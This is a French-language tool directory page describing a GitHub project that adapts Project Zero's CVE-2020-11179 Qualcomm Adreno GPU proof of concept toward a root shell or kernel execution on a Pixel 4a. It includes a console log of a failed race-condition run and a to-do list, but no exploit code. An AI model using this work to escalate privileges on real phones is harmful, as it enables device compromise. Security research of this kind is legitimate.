Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2020-11179-Adreno-Qualcomm-GPU — Productization efforts of CVE-2020-11179 Adreno-Qualcomm-GPU bug, original poc by Ben Hawkes of P0 | Kitploit
Outils/GitHubGitHub/sparrow-labz/cve-2020-11179-adreno-qualcomm-gpu
Android SecurityPrivilege EscalationVulnerability AnalysisExploitationMobile SecurityHardware SecurityBinary Exploitation
GitHubsparrow-labz/cve-2020-11179-adreno-qualcomm-gpu

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

CVE-2020-11179-Adreno-Qualcomm-GPU

Productization efforts of CVE-2020-11179 Adreno-Qualcomm-GPU bug, original poc by Ben Hawkes of P0

Voir le dépôt
73il y a 1 anPas encore vérifié

Mon travail indépendant à partir du POC créé par le chercheur de P0 Ben Hawkes
Article original: https://googleprojectzero.blogspot.com/2020/09/attacking-qualcomm-adreno-gpu.html

Mon objectif est de convertir son POC en C, et de continuer là où il s'est arrêté et de transformer le POC en un shell root,
ou en une r/w noyau, puis de modifier le système d'une manière ou d'une autre pour montrer l'exécution du noyau.

  • très probablement, le décalage vers ttbr0 est différent sur mon téléphone de test
  • doit être calculé et débogué pour trouver le décalage

sunfish:/data/local/tmp $ ./adrenaline 0xfc45c000
main: rptr is passed as 0xfc45c000
main: rptr base is 0xfc45c000
adrenaline: starting adrenaline
parent: starting adrenaline_parent
child: starting adrenaline_child
parent: kick off the wait command, and follow it with the correct amount of alignment nops
parent: send a message to our child process, which will kick off a GPU context switch
parent: wait for confirmation that the context switch is in before proceeding
child: recive 6 inf pipe buff, and kick off a GPU context switch
child: let the parent process know that the context switch has been dispatched
parent: fill up the rest of ringbuffer 0
parent: signal the wait command to progress to scratch buffer rptr corruption
parent: scratch buffer rptr corrupt with AAAA
00000000 41 41 41 41 00 00 00 00 00 00 00 00 00 00 00 00 |AAAA............|
parent: exploit payload buffer
00000000 41 41 41 41 42 42 42 42 00 00 00 00 00 00 00 00 |AAAABBBB........|
adrenaline race lost: context id: (15), rptr_base: (0xfc45c000) -- try again \

Appareil de test: pixel 4a
Android 10 sur build QD4A.2000317.027

TODO:

  • travailler sur le changement de contexte et la condition de course
  • pour obtenir l'exécution de code du noyau
Télécharger l’outil